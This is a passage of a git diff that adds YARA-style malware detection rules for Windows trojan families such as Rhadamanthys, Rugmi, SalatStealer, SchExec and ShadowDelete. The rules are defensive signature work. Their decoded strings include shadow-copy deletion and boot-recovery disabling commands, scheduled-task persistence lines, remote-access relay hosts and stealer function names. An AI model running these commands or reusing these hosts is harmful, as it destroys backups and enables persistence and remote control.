70 73 2e 74 6f 70 26 61 6d 70 3b 70 3d 38 30 34 31 26 } //5 ?h=relay.vahelps.top&p=8041& + $a_01_1 = {3f 68 3d 72 65 6c 61 79 2e 76 61 68 65 6c 70 73 2e 74 6f 70 26 61 6d 70 3b 70 3d 34 34 33 26 } //5 ?h=relay.vahelps.top&p=443& + $a_81_2 = {44 6f 74 4e 65 74 52 75 6e 6e 65 72 2e 70 64 62 } //3 DotNetRunner.pdb + $a_81_3 = {43 6c 69 63 6b 4f 6e 63 65 52 75 6e 6e 65 72 2e 70 64 62 } //3 ClickOnceRunner.pdb + $a_81_4 = {53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 43 6c 69 65 6e 74 49 6e 73 74 61 6c 6c 65 72 52 75 6e 6e 65 72 2e 70 64 62 } //1 ScreenConnect.ClientInstallerRunner.pdb + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5+(#a_81_2 & 1)*3+(#a_81_3 & 1)*3+(#a_81_4 & 1)*1) >=9 + +} \ No newline at end of file diff --git a/Trojan/Win32/Rhadamanthys/Trojan_Win32_Rhadamanthys_AB_MTB.yar b/Trojan/Win32/Rhadamanthys/Trojan_Win32_Rhadamanthys_AB_MTB.yar new file mode 100644 index 0000000000..218065b6be --- /dev/null +++ b/Trojan/Win32/Rhadamanthys/Trojan_Win32_Rhadamanthys_AB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Rhadamanthys_AB_MTB{ + meta: + description = "Trojan:Win32/Rhadamanthys.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {0f b6 44 0c 04 88 44 24 03 89 fb 00 c3 89 c8 31 d2 f7 b4 24 24 01 00 00 02 5c 15 00 89 df 0f b6 c3 0f b6 5c 24 03 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Rhadamanthys/Trojan_Win32_Rhadamanthys_AC_MTB.yar b/Trojan/Win32/Rhadamanthys/Trojan_Win32_Rhadamanthys_AC_MTB.yar new file mode 100644 index 0000000000..d15d369cd6 --- /dev/null +++ b/Trojan/Win32/Rhadamanthys/Trojan_Win32_Rhadamanthys_AC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Rhadamanthys_AC_MTB{ + meta: + description = "Trojan:Win32/Rhadamanthys.AC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8b 81 70 6a 44 00 33 44 0c 18 83 c1 04 33 44 0c 1c 33 44 0c 18 8b d0 8b d8 c1 ea 18 c1 eb 10 0f b6 d2 0f b6 92 60 69 44 00 88 5c 24 11 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Rhadamanthys/Trojan_Win32_Rhadamanthys_ARD_MTB.yar b/Trojan/Win32/Rhadamanthys/Trojan_Win32_Rhadamanthys_ARD_MTB.yar new file mode 100644 index 0000000000..f04bec188c --- /dev/null +++ b/Trojan/Win32/Rhadamanthys/Trojan_Win32_Rhadamanthys_ARD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Rhadamanthys_ARD_MTB{ + meta: + description = "Trojan:Win32/Rhadamanthys.ARD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {89 c7 89 c1 c1 ef 18 c1 e9 10 0f b6 c9 0f b6 3c 3a c1 e7 18 0f b6 0c 0a c1 e1 10 09 f9 0f b6 fc 0f b6 c0 0f b6 34 3a c1 e6 08 09 ce 0f b6 3c 02 09 f7 0f ac f9 13 0f ac fe 09 33 7d f0 31 cf 31 f7 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Rhadamanthys/Trojan_Win32_Rhadamanthys_CA_MTB.yar b/Trojan/Win32/Rhadamanthys/Trojan_Win32_Rhadamanthys_CA_MTB.yar new file mode 100644 index 0000000000..582480635d --- /dev/null +++ b/Trojan/Win32/Rhadamanthys/Trojan_Win32_Rhadamanthys_CA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Rhadamanthys_CA_MTB{ + meta: + description = "Trojan:Win32/Rhadamanthys.CA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_01_0 = {2b c1 8b 4d f4 89 55 f4 8a 44 18 03 32 45 ff 88 41 06 8b ca 8b 47 04 40 c1 e0 04 3b f0 8a 45 fe } //3 + condition: + ((#a_01_0 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Rhadamanthys/Trojan_Win32_Rhadamanthys_GVA_MTB.yar b/Trojan/Win32/Rhadamanthys/Trojan_Win32_Rhadamanthys_GVA_MTB.yar new file mode 100644 index 0000000000..1c07684be6 --- /dev/null +++ b/Trojan/Win32/Rhadamanthys/Trojan_Win32_Rhadamanthys_GVA_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_Rhadamanthys_GVA_MTB{ + meta: + description = "Trojan:Win32/Rhadamanthys.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 00 " + + strings : + $a_01_0 = {ec 8b c5 eb } //2 + $a_02_1 = {8b 4c 24 38 33 cc e8 ?? ?? ?? ?? 83 c4 48 } //1 + $a_01_2 = {8b cd eb 02 8b 09 eb 02 } //1 + $a_01_3 = {0f be 08 eb 03 } //1 + $a_01_4 = {0f 9d c2 4a 8b c2 } //1 + $a_01_5 = {88 0a e9 98 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_02_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/Rhadamanthys/Trojan_Win32_Rhadamanthys_GVB_MTB.yar b/Trojan/Win32/Rhadamanthys/Trojan_Win32_Rhadamanthys_GVB_MTB.yar new file mode 100644 index 0000000000..719e0f9bfc --- /dev/null +++ b/Trojan/Win32/Rhadamanthys/Trojan_Win32_Rhadamanthys_GVB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Rhadamanthys_GVB_MTB{ + meta: + description = "Trojan:Win32/Rhadamanthys.GVB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {03 fe 81 ef 89 15 00 00 03 c7 31 03 83 45 ec 04 6a 00 } //2 + $a_01_1 = {33 c0 8b 55 ec 01 13 8b 75 d4 03 75 a4 03 75 ec 03 f0 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/RokRat/Trojan_Win32_RokRat_YAC_MTB.yar b/Trojan/Win32/RokRat/Trojan_Win32_RokRat_YAC_MTB.yar new file mode 100644 index 0000000000..a5dfd8e254 --- /dev/null +++ b/Trojan/Win32/RokRat/Trojan_Win32_RokRat_YAC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_RokRat_YAC_MTB{ + meta: + description = "Trojan:Win32/RokRat.YAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {56 8b c1 8b f2 30 18 40 83 ee 01 75 f8 5e 57 } //3 + $a_01_1 = {52 65 6c 65 61 73 65 5c 49 6e 6a 65 63 74 53 68 65 6c 6c 63 6f 64 65 2e 70 64 62 } //1 Release\InjectShellcode.pdb + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Rugmi/Trojan_Win32_Rugmi_HB_MTB.yar b/Trojan/Win32/Rugmi/Trojan_Win32_Rugmi_HB_MTB.yar new file mode 100644 index 0000000000..5361724de4 --- /dev/null +++ b/Trojan/Win32/Rugmi/Trojan_Win32_Rugmi_HB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Rugmi_HB_MTB{ + meta: + description = "Trojan:Win32/Rugmi.HB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,38 00 38 00 03 00 00 " + + strings : + $a_01_0 = {8b 55 f8 8b 45 08 03 42 1c 89 45 e4 8b 4d f8 8b 55 08 03 51 24 89 55 e8 8b 45 fc 8b 4d e8 0f b7 14 41 8b 45 e4 8b 4d 08 03 0c 90 8b c1 } //50 + $a_01_1 = {55 8b ec 51 c7 45 fc 00 00 00 00 8b 45 fc 8b 4d 08 0f b7 14 41 85 d2 } //5 + $a_01_2 = {03 0c 90 8b c1 eb } //1 + condition: + ((#a_01_0 & 1)*50+(#a_01_1 & 1)*5+(#a_01_2 & 1)*1) >=56 + +} \ No newline at end of file diff --git a/Trojan/Win32/Rugmi/Trojan_Win32_Rugmi_HC_MTB.yar b/Trojan/Win32/Rugmi/Trojan_Win32_Rugmi_HC_MTB.yar new file mode 100644 index 0000000000..b75d36b9b0 --- /dev/null +++ b/Trojan/Win32/Rugmi/Trojan_Win32_Rugmi_HC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Rugmi_HC_MTB{ + meta: + description = "Trojan:Win32/Rugmi.HC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_23_0 = {0f be 04 08 66 89 04 4e 41 a1 90 09 05 00 a1 90 01 04 66 0f be 04 08 66 89 04 4e 41 a1 90 1b 01 90 00 00 } //1 + condition: + ((#a_23_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Rugmi/Trojan_Win32_Rugmi_HD_MTB.yar b/Trojan/Win32/Rugmi/Trojan_Win32_Rugmi_HD_MTB.yar new file mode 100644 index 0000000000..2c4fc266b6 --- /dev/null +++ b/Trojan/Win32/Rugmi/Trojan_Win32_Rugmi_HD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Rugmi_HD_MTB{ + meta: + description = "Trojan:Win32/Rugmi.HD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 01 00 00 " + + strings : + $a_23_0 = {0f be 04 30 66 89 04 72 90 09 05 00 a1 90 00 00 } //6 + condition: + ((#a_23_0 & 1)*6) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Rugmi/Trojan_Win32_Rugmi_HE_MTB.yar b/Trojan/Win32/Rugmi/Trojan_Win32_Rugmi_HE_MTB.yar new file mode 100644 index 0000000000..221a508729 --- /dev/null +++ b/Trojan/Win32/Rugmi/Trojan_Win32_Rugmi_HE_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Rugmi_HE_MTB{ + meta: + description = "Trojan:Win32/Rugmi.HE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {66 0f be 04 30 66 89 04 72 46 a1 ?? ?? ?? ?? 80 3c 30 00 90 09 05 00 a1 90 1b 00 } //6 + $a_01_1 = {8b 42 3c 8b 5c 10 2c 8d } //1 + condition: + ((#a_03_0 & 1)*6+(#a_01_1 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/Rugmi/Trojan_Win32_Rugmi_HG_MTB.yar b/Trojan/Win32/Rugmi/Trojan_Win32_Rugmi_HG_MTB.yar new file mode 100644 index 0000000000..00cf23ee02 --- /dev/null +++ b/Trojan/Win32/Rugmi/Trojan_Win32_Rugmi_HG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Rugmi_HG_MTB{ + meta: + description = "Trojan:Win32/Rugmi.HG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 01 00 00 " + + strings : + $a_03_0 = {83 c4 08 89 45 ?? 8b 45 ?? 83 c0 01 50 ff 55 88 [0-ff] 0f be 11 03 55 ?? 89 55 90 1b 03 8b } //6 + condition: + ((#a_03_0 & 1)*6) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Rugmi/Trojan_Win32_Rugmi_HH_MTB.yar b/Trojan/Win32/Rugmi/Trojan_Win32_Rugmi_HH_MTB.yar new file mode 100644 index 0000000000..0223b400e2 --- /dev/null +++ b/Trojan/Win32/Rugmi/Trojan_Win32_Rugmi_HH_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Rugmi_HH_MTB{ + meta: + description = "Trojan:Win32/Rugmi.HH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_23_0 = {8b ec 81 ec 90 01 03 00 c7 45 90 02 50 5c 90 02 50 83 90 01 01 01 90 02 a0 6a 00 6a 00 6a 00 6a 00 90 02 20 ff 55 90 00 01 } //6 + $a_83_1 = {f8 00 74 } //3840 + condition: + ((#a_23_0 & 1)*6+(#a_83_1 & 1)*3840) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/RustyStealer/Trojan_Win32_RustyStealer_GKP_MTB.yar b/Trojan/Win32/RustyStealer/Trojan_Win32_RustyStealer_GKP_MTB.yar new file mode 100644 index 0000000000..2b129099cb --- /dev/null +++ b/Trojan/Win32/RustyStealer/Trojan_Win32_RustyStealer_GKP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_RustyStealer_GKP_MTB{ + meta: + description = "Trojan:Win32/RustyStealer.GKP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {ff d3 8b 37 68 ?? ?? ?? ?? 56 ff 15 ?? ?? ?? ?? 85 c0 0f 84 ?? ?? ?? ?? 89 c7 68 ?? ?? ?? ?? 56 ff d0 89 44 24 ?? 68 ?? ?? ?? ?? 56 ff d7 89 44 24 ?? 68 ?? ?? ?? ?? 56 ff d7 89 44 24 ?? 68 ?? ?? ?? ?? 89 74 24 ?? 56 89 7c 24 ?? ff d7 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/SalatStealer/Trojan_Win32_SalatStealer_KAT_MTB.yar b/Trojan/Win32/SalatStealer/Trojan_Win32_SalatStealer_KAT_MTB.yar new file mode 100644 index 0000000000..13cb5b1761 --- /dev/null +++ b/Trojan/Win32/SalatStealer/Trojan_Win32_SalatStealer_KAT_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_SalatStealer_KAT_MTB{ + meta: + description = "Trojan:Win32/SalatStealer.KAT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_81_0 = {6d 61 69 6e 2e 64 65 63 72 79 70 74 44 61 74 61 } //1 main.decryptData + $a_81_1 = {66 69 6e 64 4c 73 61 73 73 50 72 6f 63 65 73 73 } //1 findLsassProcess + $a_81_2 = {73 68 65 6c 6c 43 6f 6d 6d 61 6e 64 } //1 shellCommand + $a_81_3 = {73 65 6e 64 53 63 72 65 65 6e } //1 sendScreen + $a_81_4 = {72 75 6e 4b 65 79 6c 6f 67 67 65 72 } //1 runKeylogger + $a_81_5 = {73 61 6c 61 74 2f 6d 61 69 6e } //1 salat/main + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Satacom/Trojan_Win32_Satacom_A.yar b/Trojan/Win32/Satacom/Trojan_Win32_Satacom_A.yar new file mode 100644 index 0000000000..1439b0b9b1 --- /dev/null +++ b/Trojan/Win32/Satacom/Trojan_Win32_Satacom_A.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_Satacom_A{ + meta: + description = "Trojan:Win32/Satacom.A,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 00 " + + strings : + $a_03_0 = {fe c2 0f b6 d2 8b 4c ?? ?? 8d 04 0b 0f b6 d8 8b 44 ?? ?? 89 44 ?? ?? 89 4c ?? ?? 02 c8 0f b6 c1 8b 4d f8 8a 44 ?? ?? 30 04 ?? ?? 3b ?? fc 7c d0 } //2 + $a_00_1 = {7c 50 49 50 45 7c 76 62 4f 58 } //1 |PIPE|vbOX + $a_02_2 = {25 73 5c 73 76 63 68 6f 73 74 2e 25 73 [0-10] 2e 64 61 74 } //1 + $a_00_3 = {63 72 79 70 74 6f 5f 64 6f 6d 61 69 6e } //1 crypto_domain + $a_00_4 = {70 6f 73 74 62 61 63 6b 5f 75 72 6c } //1 postback_url + $a_00_5 = {65 78 65 63 75 74 65 5f 6d 65 74 68 6f 64 } //1 execute_method + $a_00_6 = {6e 65 65 64 5f 63 61 70 74 63 68 61 } //1 need_captcha + condition: + ((#a_03_0 & 1)*2+(#a_00_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/Scar/Trojan_Win32_Scar_ASA_MTB.yar b/Trojan/Win32/Scar/Trojan_Win32_Scar_ASA_MTB.yar new file mode 100644 index 0000000000..90ba41e052 --- /dev/null +++ b/Trojan/Win32/Scar/Trojan_Win32_Scar_ASA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Scar_ASA_MTB{ + meta: + description = "Trojan:Win32/Scar.ASA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {c7 04 24 60 ea 00 00 e8 ?? ?? ?? ?? 83 ec 04 e8 ?? ?? ?? ?? 50 59 b8 e9 a2 8b 2e f7 e9 d1 fa 51 58 c1 f8 1f 29 c2 52 58 89 45 fc 8b 55 fc 52 58 c1 e0 02 01 d0 d1 e0 01 d0 29 c1 51 58 89 45 fc } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/SchExec/Trojan_Win32_SchExec_HA_MTB.yar b/Trojan/Win32/SchExec/Trojan_Win32_SchExec_HA_MTB.yar new file mode 100644 index 0000000000..1555f3f4a5 --- /dev/null +++ b/Trojan/Win32/SchExec/Trojan_Win32_SchExec_HA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_SchExec_HA_MTB{ + meta: + description = "Trojan:Win32/SchExec.HA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_02_0 = {2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 74 00 6e 00 [0-04] 75 00 70 00 64 00 61 00 74 00 65 00 73 00 5c 00 [0-20] 20 00 2f 00 78 00 6d 00 6c 00 [0-04] 63 00 3a 00 5c 00 75 00 73 00 65 00 72 00 73 00 5c 00 [0-20] 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6c 00 6f 00 63 00 61 00 6c 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 74 00 6d 00 70 00 [0-08] 2e 00 74 00 6d 00 70 00 } //10 + condition: + ((#a_02_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/SchExec/Trojan_Win32_SchExec_HC_MTB.yar b/Trojan/Win32/SchExec/Trojan_Win32_SchExec_HC_MTB.yar new file mode 100644 index 0000000000..f79c26a429 --- /dev/null +++ b/Trojan/Win32/SchExec/Trojan_Win32_SchExec_HC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_SchExec_HC_MTB{ + meta: + description = "Trojan:Win32/SchExec.HC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_02_0 = {2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 74 00 6e 00 20 00 [0-18] 20 00 2f 00 74 00 72 00 20 00 [0-02] 6d 00 73 00 68 00 74 00 61 00 20 00 63 00 3a 00 5c 00 75 00 73 00 65 00 72 00 73 00 5c 00 [0-20] 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6c 00 6f 00 63 00 61 00 6c 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 [0-18] 2e 00 68 00 74 00 61 00 [0-02] 20 00 2f 00 73 00 63 00 20 00 6d 00 69 00 6e 00 75 00 74 00 65 00 20 00 2f 00 6d 00 6f 00 20 00 [0-04] 20 00 2f 00 72 00 75 00 20 00 [0-02] 90 1b 02 [0-02] 20 00 2f 00 66 00 } //10 + condition: + ((#a_02_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/SchExec/Trojan_Win32_SchExec_HD_MTB.yar b/Trojan/Win32/SchExec/Trojan_Win32_SchExec_HD_MTB.yar new file mode 100644 index 0000000000..d70df64333 --- /dev/null +++ b/Trojan/Win32/SchExec/Trojan_Win32_SchExec_HD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_SchExec_HD_MTB{ + meta: + description = "Trojan:Win32/SchExec.HD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_02_0 = {73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 [0-40] 2f 00 74 00 6e 00 20 00 [0-40] 20 00 2f 00 74 00 72 00 20 00 [0-04] 63 00 3a 00 5c 00 75 00 73 00 65 00 72 00 73 00 5c 00 [0-30] 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 72 00 6f 00 61 00 6d 00 69 00 6e 00 67 00 5c 00 90 23 26 06 61 2d 7a 30 2d 39 2e 00 65 00 78 00 65 00 } //10 + condition: + ((#a_02_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/SchExec/Trojan_Win32_SchExec_HI_MTB.yar b/Trojan/Win32/SchExec/Trojan_Win32_SchExec_HI_MTB.yar new file mode 100644 index 0000000000..7b1292d2a0 --- /dev/null +++ b/Trojan/Win32/SchExec/Trojan_Win32_SchExec_HI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_SchExec_HI_MTB{ + meta: + description = "Trojan:Win32/SchExec.HI!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {2e 00 61 00 75 00 33 00 20 00 2f 00 73 00 63 00 20 00 6d 00 69 00 6e 00 75 00 74 00 65 00 20 00 2f 00 6d 00 6f 00 20 00 [0-04] 20 00 2f 00 66 00 } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/SchExec/Trojan_Win32_SchExec_HJ_MTB.yar b/Trojan/Win32/SchExec/Trojan_Win32_SchExec_HJ_MTB.yar new file mode 100644 index 0000000000..dd7bdb6243 --- /dev/null +++ b/Trojan/Win32/SchExec/Trojan_Win32_SchExec_HJ_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_SchExec_HJ_MTB{ + meta: + description = "Trojan:Win32/SchExec.HJ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,10 00 10 00 03 00 00 " + + strings : + $a_00_0 = {2f 00 63 00 72 00 65 00 61 00 74 00 65 00 } //1 /create + $a_00_1 = {20 00 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 20 00 } //5 svchost + $a_00_2 = {2f 00 74 00 72 00 20 00 63 00 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 } //10 /tr c:\programdata + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*5+(#a_00_2 & 1)*10) >=16 + +} \ No newline at end of file diff --git a/Trojan/Win32/ScreenConnect/Trojan_Win32_ScreenConnect_EA_MTB.yar b/Trojan/Win32/ScreenConnect/Trojan_Win32_ScreenConnect_EA_MTB.yar new file mode 100644 index 0000000000..3341aaead0 --- /dev/null +++ b/Trojan/Win32/ScreenConnect/Trojan_Win32_ScreenConnect_EA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ScreenConnect_EA_MTB{ + meta: + description = "Trojan:Win32/ScreenConnect.EA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,08 00 08 00 04 00 00 " + + strings : + $a_00_0 = {65 00 3d 00 53 00 75 00 70 00 70 00 6f 00 72 00 74 00 26 00 79 00 3d 00 47 00 75 00 65 00 73 00 74 00 } //2 e=Support&y=Guest + $a_00_1 = {68 00 3d 00 72 00 65 00 6c 00 61 00 79 00 2e 00 70 00 63 00 78 00 31 00 34 00 30 00 2e 00 72 00 75 00 } //2 h=relay.pcx140.ru + $a_00_2 = {73 00 3d 00 30 00 64 00 37 00 35 00 30 00 39 00 33 00 38 00 2d 00 32 00 38 00 64 00 34 00 2d 00 34 00 38 00 37 00 31 00 2d 00 38 00 34 00 33 00 36 00 2d 00 33 00 61 00 64 00 30 00 65 00 38 00 38 00 66 00 38 00 61 00 62 00 62 00 } //2 s=0d750938-28d4-4871-8436-3ad0e88f8abb + $a_00_3 = {6b 00 3d 00 42 00 67 00 49 00 41 00 41 00 41 00 43 00 6b 00 41 00 41 00 42 00 53 00 55 00 30 00 45 00 78 00 41 00 41 00 67 00 41 00 41 00 41 00 45 00 41 00 41 00 51 00 44 00 46 00 } //2 k=BgIAAACkAABSU0ExAAgAAAEAAQDF + condition: + ((#a_00_0 & 1)*2+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2+(#a_00_3 & 1)*2) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/ScriptExec/Trojan_Win32_ScriptExec_D.yar b/Trojan/Win32/ScriptExec/Trojan_Win32_ScriptExec_D.yar new file mode 100644 index 0000000000..a57a2ea523 --- /dev/null +++ b/Trojan/Win32/ScriptExec/Trojan_Win32_ScriptExec_D.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ScriptExec_D{ + meta: + description = "Trojan:Win32/ScriptExec.D,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_80_0 = {77 6d 69 63 2e 65 78 65 } //wmic.exe 1 + $a_80_1 = {6f 73 20 67 65 74 } //os get 1 + $a_02_2 = {2f 00 66 00 6f 00 72 00 6d 00 61 00 74 00 3a 00 [0-5a] 5c 00 74 00 65 00 6d 00 70 00 5c 00 [0-80] 2e 00 78 00 73 00 6c 00 } //1 + $a_02_3 = {2f 66 6f 72 6d 61 74 3a [0-5a] 5c 74 65 6d 70 5c [0-80] 2e 78 73 6c } //1 + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_02_2 & 1)*1+(#a_02_3 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ShadowDelete/Trojan_Win32_ShadowDelete_BB_MTB.yar b/Trojan/Win32/ShadowDelete/Trojan_Win32_ShadowDelete_BB_MTB.yar new file mode 100644 index 0000000000..797b47f00e --- /dev/null +++ b/Trojan/Win32/ShadowDelete/Trojan_Win32_ShadowDelete_BB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ShadowDelete_BB_MTB{ + meta: + description = "Trojan:Win32/ShadowDelete.BB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 03 00 00 " + + strings : + $a_02_0 = {77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 [0-10] 64 00 65 00 6c 00 65 00 74 00 65 00 [0-10] 63 00 61 00 74 00 61 00 6c 00 6f 00 67 00 } //10 + $a_02_1 = {62 00 63 00 64 00 65 00 64 00 69 00 74 00 [0-10] 2f 00 73 00 65 00 74 00 [0-10] 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 [0-10] 72 00 65 00 63 00 6f 00 76 00 65 00 72 00 79 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 [0-10] 6e 00 6f 00 } //10 + $a_02_2 = {62 00 63 00 64 00 65 00 64 00 69 00 74 00 [0-10] 2f 00 73 00 65 00 74 00 [0-10] 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 [0-10] 62 00 6f 00 6f 00 74 00 73 00 74 00 61 00 74 00 75 00 73 00 70 00 6f 00 6c 00 69 00 63 00 79 00 [0-10] 69 00 67 00 6e 00 6f 00 72 00 65 00 61 00 6c 00 6c 00 66 00 61 00 69 00 6c 00 75 00 72 00 65 00 73 00 } //10 + condition: + ((#a_02_0 & 1)*10+(#a_02_1 & 1)*10+(#a_02_2 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/ShadowDelete/Trojan_Win32_ShadowDelete_CC_MTB.yar b/Trojan/Win32/ShadowDelete/Trojan_Win32_ShadowDelete_CC_MTB.yar new file mode 100644 index 0000000000..daf899b2f3 --- /dev/null +++ b/Trojan/Win32/ShadowDelete/Trojan_Win32_ShadowDelete_CC_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ShadowDelete_CC_MTB{ + meta: + description = "Trojan:Win32/ShadowDelete.CC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 05 00 00 " + + strings : + $a_00_0 = {76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 73 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 61 00 6c 00 6c 00 } //1 vssadmin delete shadows /all + $a_00_1 = {77 00 6d 00 69 00 63 00 20 00 73 00 68 00 61 00 64 00 6f 00 77 00 63 00 6f 00 70 00 79 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 } //1 wmic shadowcopy delete + $a_00_2 = {62 00 63 00 64 00 65 00 64 00 69 00 74 